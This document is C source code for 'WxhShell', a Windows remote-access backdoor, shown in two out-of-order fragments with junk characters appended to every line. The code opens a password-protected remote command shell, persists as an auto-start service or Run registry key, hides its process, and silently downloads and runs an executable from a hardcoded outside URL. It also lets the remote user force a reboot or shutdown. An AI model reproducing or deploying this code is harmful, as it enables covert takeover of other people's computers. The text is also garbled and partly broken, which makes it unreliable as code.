    if(Boot(SHUTDOWN)) Ddm76LS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~f]r>jQM  
    else { syC"eH3{  
    closesocket(wsh); 2 l[A=Z  
    ExitThread(0); iw~V_y4  
    } /_VRO9R\V  
    break; qm'C^ X?  
    } fa+W9  
  // 获取shell C#**)  
  case 's': { pw<q?q%  
    CmdShell(wsh); [oU+b(  
    closesocket(wsh); yf#%)-7(  
    ExitThread(0); M::IE|h  
    break; C)KtM YA,  
  } XoxR5arj  
  // 退出 e`Zg7CaDd  
  case 'x': { f5=t*9_-[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "{ry 9?z  
    CloseIt(wsh); T956L'.+G  
    break; 49J+&G?)j  
    } mBpsgm:g^  
  // 离开 WRcFE<  
  case 'q': { `6BS-AVO7  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \_I)loPc8  
    closesocket(wsh); vN%j-'D\A4  
    WSACleanup(); 'j"N2NJ  
    exit(1); @DQ"vFj6<  
    break; !k>H e*M}P  
        } Lx:N!RDw  
  } lPFdQ8M  
  } MVeQ5c(  
J6["j   
  // 提示信息 jC Kt;lj  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \'LCC-  
} i!d7,>l+Q~  
  } iQ]c k-  
$vGEY7,  
  return; da?th  
} CF}Nom)  
+}-W.H%`0  
// shell模块句柄 7 6i rb!-  
int CmdShell(SOCKET sock) SJ[@fUxO)  
{ \(>$mtS:  
STARTUPINFO si; Kf?{GNE7  
ZeroMemory(&si,sizeof(si)); F;Xq:e8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;~@PYIp  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~oW8GQ  
PROCESS_INFORMATION ProcessInfo; WGG) mh&-  
char cmdline[]="cmd"; :D+ SY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iUG/   
  return 0; <]e;tF)+  
} 'Rh>w=wB'  
3JE;:2O~P  
// 自身启动模式 7SY->-H8  
int StartFromService(void) hv:Z%D |S  
{ ep}/dBg  
typedef struct bq6{ty"  
{ e>zk3\D!  
  DWORD ExitStatus; X.AOp  
  DWORD PebBaseAddress; q'V{vFfY%  
  DWORD AffinityMask; ot+~|Dl  
  DWORD BasePriority; *1)NABp6D  
  ULONG UniqueProcessId; qQ DFg`  
  ULONG InheritedFromUniqueProcessId; wIR[2&b  
}   PROCESS_BASIC_INFORMATION; 13&>w{S}  
K<L%@[gi  
PROCNTQSIP NtQueryInformationProcess; ^$Io;*N4  
645C]l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y0&HXX#\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ] xLb )Z  
!zkEh9G  
  HANDLE             hProcess; F+$@3[Q`N  
  PROCESS_BASIC_INFORMATION pbi; @[b:([  
ty< tv|p  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lPN< rgg  
  if(NULL == hInst ) return 0; T17LYHIT  
y yR8VO{  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _}D?+x,C8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :kx#];2i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4e#K.HU_  
rU^ghF  
  if (!NtQueryInformationProcess) return 0; IK?$!jh  
UlN|Oy,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Sd{"A0[A|  
  if(!hProcess) return 0; @"0N@gU  
K<w5[E9V.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q|<?$.FN"8  
VaI P  
  CloseHandle(hProcess); ` dUiz5o'  
z57papo  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v8k ^=A:  
if(hProcess==NULL) return 0; *4^]?Y\*  
BG8)bh k;/  
HMODULE hMod; 0o=)&%G  
char procName[255]; Z%9^6kdY  
unsigned long cbNeeded; lg  
+95dz?~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %y7wF'_Y  
ftqW3VW  
  CloseHandle(hProcess); h-rj  
s]%!  
if(strstr(procName,"services")) return 1; // 以服务启动 K':pU1  
xAz4ZXj=q  
  return 0; // 注册表启动 Jo(}#_y?  
} wXZY5-h4  
KC-aLq/  
// 主模块 kGqf@ I+  
int StartWxhshell(LPSTR lpCmdLine) WI!z92qq[  
{ [k=9 +0p  
  SOCKET wsl; }Z? [Ut  
BOOL val=TRUE; Tc(v\|F,  
  int port=0; r= | |sZs  
  struct sockaddr_in door; rtF6Lg  
<r`Jn49  
  if(wscfg.ws_autoins) Install(); >~>[}d;glw  
jTgh+j]AP  
port=atoi(lpCmdLine); n rB27  
RF2XJJ  
if(port<=0) port=wscfg.ws_port; > ,Bu^] C  
Xl+a@Ggtq  
  WSADATA data; 5XUI7Q%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =l'_*B8  
6ch[B`[h,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $K5s)!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3M*[a~  
  door.sin_family = AF_INET; [f(^vlK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~wg^>!E  
  door.sin_port = htons(port); Q4 :r$ &  
S|4/C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~%K(ou=2  
closesocket(wsl); % P)}(e6y  
return 1; |M>k &p,B-  
} 4H? Ma|,  
W}_}<rlF  
  if(listen(wsl,2) == INVALID_SOCKET) { HU+H0S~g  
closesocket(wsl); _rJ SkZO  
return 1; )t ch>.EQ_  
} 0i `Zy!  
  Wxhshell(wsl);  +5mkMZ  
  WSACleanup(); SW'KYzn  
BmF>IQ`M?  
return 0; 6i9I 4*'  
2^M+s\p  
} ^ED>{UiNI  
jt r=8OiL  
// 以NT服务方式启动 h1o+7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "FIx^  
{  Ph{+uI  
DWORD   status = 0; $rYu4^  
  DWORD   specificError = 0xfffffff; m8^2k2  
V\hct$ 7Vm  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j5GZ;d?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z))[Lg  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7uNI  
  serviceStatus.dwWin32ExitCode     = 0; be#"517  
  serviceStatus.dwServiceSpecificExitCode = 0; -y*+G&  
  serviceStatus.dwCheckPoint       = 0; (UT*T  
  serviceStatus.dwWaitHint       = 0; .T-p]9*p  
( +hI   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8N_rJ)f  
  if (hServiceStatusHandle==0) return; cGp 6yf  
6e| 5qKr  
status = GetLastError(); $*-L8An?  
  if (status!=NO_ERROR) :P"Gym  
{ PW4Wn`u  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2U{RA' s  
    serviceStatus.dwCheckPoint       = 0; .Q)"F /  
    serviceStatus.dwWaitHint       = 0; K+OU~SED%F  
    serviceStatus.dwWin32ExitCode     = status; k ,(:[3J  
    serviceStatus.dwServiceSpecificExitCode = specificError; @+#p: sE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); += ~}PF  
    return; HbDB?s<  
  } ,!4_Uc  
?.ihWbW_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qW>J-,61/  
  serviceStatus.dwCheckPoint       = 0; #[yl;1)  
  serviceStatus.dwWaitHint       = 0; &>fd:16  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M?u)H&kEl  
}  Z5-'|h$|  
3U$fMLx]k  
// 处理NT服务事件,比如:启动、停止 xyz86r ^u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?EAqv]  
{ (Z +C  
switch(fdwControl) ,SwaDWNO  
{ <);u]0  
case SERVICE_CONTROL_STOP: Ec 7M'~1  
  serviceStatus.dwWin32ExitCode = 0; h8Si,W 3o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >GUTno$J  
  serviceStatus.dwCheckPoint   = 0; >@uYleD(  
  serviceStatus.dwWaitHint     = 0; V%=t2+  
  { K$]B" s  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e90z(EF?0  
  } { rn~D5R  
  return; 1*jm9])#  
case SERVICE_CONTROL_PAUSE: iL1so+di  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,[#f}|s_  
  break; s%|J(0  
case SERVICE_CONTROL_CONTINUE: nHjwT5Q+Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; gMn)<u>  
  break; jQ}| ]pj+  
case SERVICE_CONTROL_INTERROGATE: sTyGi1  
  break; /^G+vhlf\  
}; $7YLU{0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); a$8?0` (  
} b] V=wZ o  
_*I6O$/>  
// 标准应用程序主函数 ^O m]B;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) yQ50f~9  
{ IPR396J+-  
3 2D/%dHC  
// 获取操作系统版本 vq:j?7  
OsIsNt=GetOsVer(); 6si-IJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xRN$cZC  
2fB@zF  
  // 从命令行安装 S5TT  
  if(strpbrk(lpCmdLine,"iI")) Install(); /]&1XT?  
(p!AX<=z  
  // 下载执行文件 Yl])Q|2I  
if(wscfg.ws_downexe) {  t m?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5{TF6  
  WinExec(wscfg.ws_filenam,SW_HIDE); Y;>'~V#R  
} -NeF6  
E!M+37/  
if(!OsIsNt) { m=V2xoMw6  
// 如果时win9x,隐藏进程并且设置为注册表启动 C:{'0m*jKs  
HideProc(); q%Pnx_RB  
StartWxhshell(lpCmdLine); {o`5&EoM  
} 'QU ?O[CH  
else W9~datIh>  
  if(StartFromService()) 17d$gZ1O:  
  // 以服务方式启动 Nl _Jp:8s  
  StartServiceCtrlDispatcher(DispatchTable); lc7]=,qyF  
else qa0Zgn5q  
  // 普通方式启动 H l@rS  
  StartWxhshell(lpCmdLine); } _z~:{Y  
6:pN?|=6X  
return 0; Y~!@  
} v%^H9aK_  
}=FQKqtC  
fHi+PEbR  
PV2904  
=========================================== W+X zU"l  
f?6=H^_>  
bX1ip2X lk  
&IYkeGQr  
}I]q$3 .  
{5h_$a!TaU  
" (%Rs&/vU~  
~fe0Ba4  
#include <stdio.h> 3Y8 V?* 1|  
#include <string.h> Z# 04 ]  
#include <windows.h> Tw5BvB1  
#include <winsock2.h> 4r*6fJ*bJ  
#include <winsvc.h> cS"6%:hQ  
#include <urlmon.h> ZHJzh\?  
aXagiz\;  
#pragma comment (lib, "Ws2_32.lib") x!+ a,+G  
#pragma comment (lib, "urlmon.lib") -j,o:ng0  
}1wuH  
#define MAX_USER   100 // 最大客户端连接数 L  z  
#define BUF_SOCK   200 // sock buffer VbYapPu4b!  
#define KEY_BUFF   255 // 输入 buffer _?"J.i  
yrX]w3kr%  
#define REBOOT     0   // 重启 Lsdu:+-  
#define SHUTDOWN   1   // 关机 SEmD's  
; o\wSHc  
#define DEF_PORT   5000 // 监听端口 -E1}mL}I`  
%O${EN  
#define REG_LEN     16   // 注册表键长度 mVLGQlvVK  
#define SVC_LEN     80   // NT服务名长度 BJ5#!I%h  
#z.x3D@^r6  
// 从dll定义API 5{> cfN\q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); MgekLP )&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T$e_ao|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); I f(_$>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); uu>g(q?4II  
EbQ}w"{  
// wxhshell配置信息 *bx cq  
struct WSCFG { .z"[z^/uF  
  int ws_port;         // 监听端口 8 _J:Yg  
  char ws_passstr[REG_LEN]; // 口令 XN@5TZoaW  
  int ws_autoins;       // 安装标记, 1=yes 0=no YAo g;QL  
  char ws_regname[REG_LEN]; // 注册表键名 I}X8-WFB  
  char ws_svcname[REG_LEN]; // 服务名 u(R`}C?P'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *))|ZE6jI  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M<nn+vy`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h| Ih4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Sa0\9 3oa  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0Ju{6x(|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >Vvc55z  
Evc 9k  
}; ! [X<>  
X {$gdz8S9  
// default Wxhshell configuration 1X5\VY>S`h  
struct WSCFG wscfg={DEF_PORT, ;k0*@c*  
    "xuhuanlingzhe", /[OMpP  
    1, OX"`VE  
    "Wxhshell", R+\5hI@ >i  
    "Wxhshell", };*5+XY^  
            "WxhShell Service", .o>QBYpTw/  
    "Wrsky Windows CmdShell Service", RwE]t$T/  
    "Please Input Your Password: ", \3l;PY  
  1, ZD/!C9:&.0  
  "http://www.wrsky.com/wxhshell.exe", -[=`bHo  
  "Wxhshell.exe" >\'yj| U,  
    }; ?2M15Q  
qv:WC TAn  
// 消息定义模块 MAXdgL[]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Z8x(_ft5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ll#PCgIm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; z)26Ahm TV  
char *msg_ws_ext="\n\rExit."; o|+tRl  
char *msg_ws_end="\n\rQuit."; F~B8XUa3  
char *msg_ws_boot="\n\rReboot..."; xiI!_0'  
char *msg_ws_poff="\n\rShutdown..."; (.c?)_G,  
char *msg_ws_down="\n\rSave to "; yVL~SH|  
#ua#$&p  
char *msg_ws_err="\n\rErr!"; ?@nu]~  
char *msg_ws_ok="\n\rOK!"; *VH1(E`hl  
e\89;)  
char ExeFile[MAX_PATH]; C8?/$1|RL  
int nUser = 0; +#W5Qb}VR  
HANDLE handles[MAX_USER]; mUjA9[@   
int OsIsNt; -+L1Hid.7  
<AVpFy  
SERVICE_STATUS       serviceStatus; W`Soa&9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \rpu=*gt  
$j:0*Z=>  
// 函数声明 JwO+Dd  
int Install(void); U+K_eEI0_I  
int Uninstall(void); * .e^s3q$  
int DownloadFile(char *sURL, SOCKET wsh); dG| iA]  
int Boot(int flag); aU3&=aN+  
void HideProc(void); M1^pW 63  
int GetOsVer(void); qAm%h\  
int Wxhshell(SOCKET wsl); 0zd1:*KR,  
void TalkWithClient(void *cs); c[5>kQ-nq  
int CmdShell(SOCKET sock); vF_?1|*|  
int StartFromService(void); 0iYe>u  
int StartWxhshell(LPSTR lpCmdLine); ' o 5,P/6  
n8?gZ` W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |peZ`O^ ~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GB -=DC6  
lY~xoHT;[  
// 数据结构和表定义 ,Zdc  
SERVICE_TABLE_ENTRY DispatchTable[] = Rzb] mM  
{ i_MDLS>-  
{wscfg.ws_svcname, NTServiceMain}, p\(%bO   
{NULL, NULL} @g{=f55  
}; u+Li'Ug  
d.{RZq2cp  
// 自我安装 1:,aFp>qr  
int Install(void) wj/r)rv E  
{ tDi<n}  
  char svExeFile[MAX_PATH]; ?Z;knX\?J  
  HKEY key; DzYno -]A]  
  strcpy(svExeFile,ExeFile); 9gFC]UVWh  
#i~.wQ $1  
// 如果是win9x系统,修改注册表设为自启动 )wKuumet  
if(!OsIsNt) { TPkm~>zD.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xT@\FwPr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Ld0AApncy  
  RegCloseKey(key); 5L4~7/kj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6rRPqO j  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jtZ@`io  
  RegCloseKey(key); 4 0Du*5M  
  return 0; ?-(E$ll  
    } T-27E$0  
  } }g3)z%Xe'[  
} ;1BbRnCr  
else { 2qN6{+]  
U'@_fg  
// 如果是NT以上系统,安装为系统服务 d=xweU<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m86w{b$8  
if (schSCManager!=0) p<$z!|7m  
{ 8(BLS{-"<  
  SC_HANDLE schService = CreateService Q<"zpwHR  
  ( f$P pFSY4  
  schSCManager, g6N{Z e Wg  
  wscfg.ws_svcname, w7O(I"  
  wscfg.ws_svcdisp, D[U5SS!)  
  SERVICE_ALL_ACCESS, /P,J);Y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ed& ,  
  SERVICE_AUTO_START, MJK L4 G  
  SERVICE_ERROR_NORMAL, J L]6o8x  
  svExeFile, *s_)E 2  
  NULL, Xh){W~ -  
  NULL, 9ah,a 4  
  NULL, "5vFa7y  
  NULL, #w#B'  
  NULL 5^tL#  
  ); +lE 9*Gs_$  
  if (schService!=0) yaeX-'(Fv[  
  { k{9s>l~'  
  CloseServiceHandle(schService); y*P[* /g  
  CloseServiceHandle(schSCManager); c/pT2/y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KaOS!e'  
  strcat(svExeFile,wscfg.ws_svcname); HmQuRW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y,?rykRj  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @ j' I  
  RegCloseKey(key); N>VA`+aFR  
  return 0; n- p|7N  
    } Cgt{5  
  } Dtelr=/s  
  CloseServiceHandle(schSCManager); Nk]r2^.z[  
} [t,7H  
} l^&#fz  
V7 c7(G  
return 1; z )k\p'0"  
} MA"DP7e?v  
M7En%sBp  
// 自我卸载 I,.>tC  
int Uninstall(void) w${=]h*2  
{ Io| 72W}rg  
  HKEY key; y\Zx {A[  
8j8FQ!M  
if(!OsIsNt) { Uw4KdC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3<?#*z4]_  
  RegDeleteValue(key,wscfg.ws_regname); I lvjS^j  
  RegCloseKey(key); <1V!-D4xu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y&B~UeB:q  
  RegDeleteValue(key,wscfg.ws_regname); i9W@$I,f  
  RegCloseKey(key); a&|aK+^8;  
  return 0; 6EJ,czt(  
  } C 2FewsRz  
} OZ0q6"  
} h@/c76}f6p  
else { oT.g@kf=H  
k_$w+Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); "<NQ2Vr]5  
if (schSCManager!=0) l3-;z)SgH  
{ k.?b2]@$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Q+gQ"l,95  
  if (schService!=0) 03[(dRK>=  
  { P)ZGNtO9fG  
  if(DeleteService(schService)!=0) { K5'@$Km  
  CloseServiceHandle(schService); =p:D_b  
  CloseServiceHandle(schSCManager);  >Xh 9{/o  
  return 0; :*#I1nb$  
  } p-r}zc9@  
  CloseServiceHandle(schService); 'ym/@h7h  
  } G^5}T>TV  
  CloseServiceHandle(schSCManager); * r$(lf  
} StA5h+[m  
} wF[^?K '  
jbGP`b1_  
return 1; KE6[u*\  
} 4w\cS&X~C  
(+(YO\ng6  
// 从指定url下载文件 ,J~kwJ$L  
int DownloadFile(char *sURL, SOCKET wsh) Tw);`&Ulo  
{ PO ]z'LD  
  HRESULT hr; Whod_Uk  
char seps[]= "/"; g#T8WX{(V  
char *token; #:e52=  
char *file; RT4ns+J1  
char myURL[MAX_PATH]; C]p3,G,oN  
char myFILE[MAX_PATH]; %Gv8 ]Yb  
O\=3{  
strcpy(myURL,sURL); 5L%A5C&|  
  token=strtok(myURL,seps); }LN +V~  
  while(token!=NULL) bwS1YGb  
  { :dLfM)8}  
    file=token; 9#xcp/O  
  token=strtok(NULL,seps); mn)kd  
  } &U*=D8!0  
A#\NVN8sk  
GetCurrentDirectory(MAX_PATH,myFILE); m:.ywiw=  
strcat(myFILE, "\\"); ![P1Qv p  
strcat(myFILE, file); ?`3` azfM  
  send(wsh,myFILE,strlen(myFILE),0); #B_ ``XV  
send(wsh,"...",3,0); 0Ou`& u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?n8gB7(FA  
  if(hr==S_OK) ;gu_/[P  
return 0; U8PSJ0ny  
else EQET:a:g  
return 1; JF IUD{>fp  
Yc BY[i0  
} %c*azo.  
M`-.0  
// 系统电源模块 bO^#RVH  
int Boot(int flag) _jQ"_Ff  
{ M8oI8\6[  
  HANDLE hToken; c~K^ooS-  
  TOKEN_PRIVILEGES tkp; 2xN1=ug  
BC=U6>`/  
  if(OsIsNt) { p'fU}B1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DP6M4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8A~5@  
    tkp.PrivilegeCount = 1; b7^VWX%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y.$ '<1  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); FY|.eY_7 {  
if(flag==REBOOT) { y'(l]F1]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PF+v[h;,  
  return 0; " qY Pi  
} G'{$$+U^K  
else { mp:%k\cF|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7y1J69IK  
  return 0; mzLDZ# =b  
} I9-vV>:z  
  } Y9F!HM-`  
  else { KWq7M8mq  
if(flag==REBOOT) { K3Zc>QL{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4W &HUQ?^  
  return 0; CqDKQQ  
} /p+ (_Y  
else { 7@NAky(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7aUk?Hf  
  return 0; {+_ pyL  
} ^Qt4}V=  
} AL74q[>  
.H {  
return 1; EbZRU65J}O  
} Sp3?I2 o  
Av:5v3%  
// win9x进程隐藏模块 {{7%z4l  
void HideProc(void) %]S~PKx  
{ 2It$ bz  
_h", ,"p#o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g} 7FR({b  
  if ( hKernel != NULL ) sDL@e33Yb  
  { 9tvLj5~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [XK Ke  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); TR/'L!EE  
    FreeLibrary(hKernel); |!NKKvf  
  } L s6P<"V  
k7yQEU  
return; 1bs 8fUPB3  
} Rd7Xs  
,iY/\ U''  
// 获取操作系统版本 ?kEcYD  
int GetOsVer(void) m{4e+&S|  
{ L8("1_  
  OSVERSIONINFO winfo; 0hnTHlk  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :SjTkfU  
  GetVersionEx(&winfo); ;$gZ?&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0vbiq  
  return 1; u;rK.3o  
  else uKHkC.g  
  return 0; GP6-5Y"8  
} }JyWy_Y  
m&(yx| a4+  
// 客户端句柄模块 `KBgVhS>  
int Wxhshell(SOCKET wsl) OoL#8R  
{ STmn%&  
  SOCKET wsh; I%.KFPV  
  struct sockaddr_in client; (ds-p[`[m  
  DWORD myID; *)+1BYMo  
lX$6U| !  
  while(nUser<MAX_USER) teh$W<C  
{ jsL\{I^>  
  int nSize=sizeof(client); HL-zuZa`Ju  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9N5ptdP.d  
  if(wsh==INVALID_SOCKET) return 1; 9Ps[i)-  
ihivJ Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *<?or"P  
if(handles[nUser]==0) $ K1 /^  
  closesocket(wsh); vcTWe$;Q  
else q y"VrR  
  nUser++; Sp8Xka~5*#  
  } d1$3~Xl]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fZ!fwg$  
VU6nu4   
  return 0; ^c",!Lp}{  
} Mr'P0^^  
/Ud<4j-  
// 关闭 socket LnZzY0  
void CloseIt(SOCKET wsh) qd\5S*Z1  
{ pJ kaP  
closesocket(wsh); &iCE/  
nUser--; >Hb>wlYR  
ExitThread(0); s6Ox!)&  
} Zo`Ku+RL2'  
VbR /k,Co  
// 客户端请求句柄 AY{#!RtV  
void TalkWithClient(void *cs) Fr/3Qp@S  
{ ? ->:,I=<~  
dm;H0v+Y'  
  SOCKET wsh=(SOCKET)cs;  Khd"  
  char pwd[SVC_LEN]; (`h$+p^-y  
  char cmd[KEY_BUFF]; *{/ ww9fT  
char chr[1]; v_-S#(  
int i,j; + <AD  
3J t_=!qlo  
  while (nUser < MAX_USER) { \z>Re$:  
^wesuW@=  
if(wscfg.ws_passstr) { *K#7,*Oz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r~ gjn`W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ? tre)  
  //ZeroMemory(pwd,KEY_BUFF); +%vBDcf  
      i=0; +c&n7  
  while(i<SVC_LEN) { i oCoFj  
6f1%5&si  
  // 设置超时 Fl{:aq"3  
  fd_set FdRead; g3[Zh=+]E  
  struct timeval TimeOut; P2J{ Ml#  
  FD_ZERO(&FdRead); Exir?G}\  
  FD_SET(wsh,&FdRead); 3exv k  
  TimeOut.tv_sec=8; )X*?M?~\  
  TimeOut.tv_usec=0; p0Cp\.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); `CCuwe<v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); WmU5YZ(mAq  
WXz'H),R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;M,u,KH)/  
  pwd=chr[0]; C? pi8Xg  
  if(chr[0]==0xd || chr[0]==0xa) { +-_71rJc.  
  pwd=0; J[E_n;d1  
  break; {z)&=v@  
  } u{Jv6K,  
  i++; /7WN,a  
    } W_k;jy_{9  
4.]xK2sW  
  // 如果是非法用户,关闭 socket 56 6vjE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m\a_0!K  
} R? aE:\A  
,#=ykg*~/  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9=,^^,q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !e~Yp0gX#  
K:PzR,nn  
while(1) { Z9cg,#(D  
[e1kfw  
  ZeroMemory(cmd,KEY_BUFF); /Mk85C79  
@**@W[EM  
      // 自动支持客户端 telnet标准   a& >(*PQ  
  j=0; X r7pFw  
  while(j<KEY_BUFF) { '[u=q -Lv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VayU   
  cmd[j]=chr[0]; /18Z4TA  
  if(chr[0]==0xa || chr[0]==0xd) { R#j -Z#/"  
  cmd[j]=0; rMDo5Z2  
  break; Hya  ";'  
  } u`E24~  
  j++; YTBZklM  
    } 'qD5  
Cj).  
  // 下载文件 cd8ZZ 8L  
  if(strstr(cmd,"http://")) { [hy:BV6H+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gH87e  
  if(DownloadFile(cmd,wsh)) ;zy[xg.7  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ejq2]^O4c  
  else J?/.|Y]e  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -[-LR }u  
  } a'R)3:S  
  else { .ZSGnbJ  
GKPC9;{W  
    switch(cmd[0]) { qGndh  
  e_C9VNP  
